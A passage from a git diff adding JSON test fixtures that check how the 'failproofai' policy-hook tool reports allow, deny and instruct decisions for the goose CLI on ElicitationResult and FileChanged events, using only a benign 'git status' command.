"hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/ElicitationResult/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/ElicitationResult/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..857ad22e --- /dev/null +++ b/__tests__/parity/fixtures/goose/ElicitationResult/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/ElicitationResult/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/ElicitationResult/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..0d969fff --- /dev/null +++ b/__tests__/parity/fixtures/goose/ElicitationResult/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/ElicitationResult/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/ElicitationResult/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..297cfbfc --- /dev/null +++ b/__tests__/parity/fixtures/goose/ElicitationResult/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/ElicitationResult/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/ElicitationResult/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..3fe2a916 --- /dev/null +++ b/__tests__/parity/fixtures/goose/ElicitationResult/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/ElicitationResult/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/ElicitationResult/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..8e5759d1 --- /dev/null +++ b/__tests__/parity/fixtures/goose/ElicitationResult/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/ElicitationResult/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/ElicitationResult/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..8f8fb9c9 --- /dev/null +++ b/__tests__/parity/fixtures/goose/ElicitationResult/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/ElicitationResult/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/ElicitationResult/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..fc32120a --- /dev/null +++ b/__tests__/parity/fixtures/goose/ElicitationResult/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "deny", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/ElicitationResult/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/ElicitationResult/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..e5811d4c --- /dev/null +++ b/__tests__/parity/fixtures/goose/ElicitationResult/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "deny", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/ElicitationResult/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/ElicitationResult/deny__tool-present__one-policy.json new file mode 100644 index 00000000..2765fcf3 --- /dev/null +++ b/__tests__/parity/fixtures/goose/ElicitationResult/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "goose", + "decision_kind": "deny", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/ElicitationResult/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/ElicitationResult/deny__tool-present__two-policies.json new file mode 100644 index 00000000..537464b7 --- /dev/null +++ b/__tests__/parity/fixtures/goose/ElicitationResult/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "goose", + "decision_kind": "deny", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/ElicitationResult/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/ElicitationResult/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..027c0a92 --- /dev/null +++ b/__tests__/parity/fixtures/goose/ElicitationResult/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "instruct", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/ElicitationResult/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/ElicitationResult/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..e92c1741 --- /dev/null +++ b/__tests__/parity/fixtures/goose/ElicitationResult/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "instruct", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/ElicitationResult/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/ElicitationResult/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..cdf4fd24 --- /dev/null +++ b/__tests__/parity/fixtures/goose/ElicitationResult/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "goose", + "decision_kind": "instruct", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/ElicitationResult/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/ElicitationResult/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..1ff59b6a --- /dev/null +++ b/__tests__/parity/fixtures/goose/ElicitationResult/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "goose", + "decision_kind": "instruct", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/FileChanged/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/FileChanged/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..fcf2e369 --- /dev/null +++ b/__tests__/parity/fixtures/goose/FileChanged/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/FileChanged/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/FileChanged/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..31b1b940 --- /dev/null +++ b/__tests__/parity/fixtures/goose/FileChanged/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/FileChanged/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/FileChanged/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..0a5033f0 --- /dev/null +++ b/__tests__/parity/fixtures/goose/FileChanged/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/FileChanged/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/FileChanged/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..da580822 --- /dev/null +++ b/__tests__/parity/fixtures/goose/FileChanged/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/FileChanged/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/FileChanged/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..afa4d10c --- /dev/null +++ b/__tests__/parity/fixtures/goose/FileChanged/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/FileChanged/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/FileChanged/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..bccd945b --- /dev/null +++ 